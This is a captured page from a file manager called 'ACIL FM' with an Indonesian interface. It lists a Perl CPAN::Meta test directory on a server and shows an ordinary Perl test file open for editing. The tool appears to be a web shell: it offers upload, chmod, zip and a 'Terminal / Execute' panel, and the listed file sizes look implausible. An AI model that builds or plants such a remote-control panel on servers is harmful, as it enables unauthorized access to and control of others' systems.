ACIL FM
Dark
Refresh
Current DIR:
/usr/share/doc/perl-CPAN-Meta/t
/
usr
share
doc
perl-CPAN-Meta
t
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
data-fail
-
chmod
Open
Rename
Delete
data-fixable
-
chmod
Open
Rename
Delete
data-test
-
chmod
Open
Rename
Delete
data-valid
-
chmod
Open
Rename
Delete
lib
-
chmod
Open
Rename
Delete
parse-cpan-meta
-
chmod
Open
Rename
Delete
00-report-prereqs.dd
7.88 MB
chmod
View
DL
Edit
Rename
Delete
00-report-prereqs.t
5.46 MB
chmod
View
DL
Edit
Rename
Delete
converter-bad.t
2.72 MB
chmod
View
DL
Edit
Rename
Delete
converter-fail.t
1.16 MB
chmod
View
DL
Edit
Rename
Delete
converter-fragments.t
4 MB
chmod
View
DL
Edit
Rename
Delete
converter.t
10.42 MB
chmod
View
DL
Edit
Rename
Delete
load-bad.t
805 B
chmod
View
DL
Edit
Rename
Delete
merge.t
5.74 MB
chmod
View
DL
Edit
Rename
Delete
meta-obj.t
6.62 MB
chmod
View
DL
Edit
Rename
Delete
no-index.t
1.82 MB
chmod
View
DL
Edit
Rename
Delete
optional_feature-merge.t
3.2 MB
chmod
View
DL
Edit
Rename
Delete
prereqs-finalize.t
2.24 MB
chmod
View
DL
Edit
Rename
Delete
prereqs-merge.t
2.37 MB
chmod
View
DL
Edit
Rename
Delete
prereqs.t
3.65 MB
chmod
View
DL
Edit
Rename
Delete
README-data.txt
622 B
chmod
View
DL
Edit
Rename
Delete
repository.t
4.39 MB
chmod
View
DL
Edit
Rename
Delete
save-load.t
3.67 MB
chmod
View
DL
Edit
Rename
Delete
validator.t
1.2 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/share/doc/perl-CPAN-Meta/t/load-bad.t
use strict; use warnings; use Test::More 0.88; use CPAN::Meta; use File::Spec; use IO::Dir; sub _slurp { do { local(@ARGV,$/)=shift(@_); <> } } delete $ENV{PERL_YAML_BACKEND}; delete $ENV{PERL_JSON_BACKEND}; delete $ENV{CPAN_META_JSON_BACKEND}; delete $ENV{CPAN_META_JSON_DECODER}; my $data_dir = IO::Dir->new( 't/data-fixable' ); my @files = sort grep { /^\w/ } $data_dir->read; for my $f ( sort @files ) { my $path = File::Spec->catfile('t','data-fixable',$f); ok( eval { CPAN::Meta->load_file( $path ) }, "load_file('$f')" ) or diag $@; my $string = _slurp($path); my $method = $path =~ /\.json/ ? "load_json_string" : "load_yaml_string"; ok( eval { CPAN::Meta->$method( $string, { fix_errors => 1 } ) }, "$method(slurp('$f'))" ) or diag $@; } done_testing; # vim: ts=2 sts=2 sw=2 et:
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply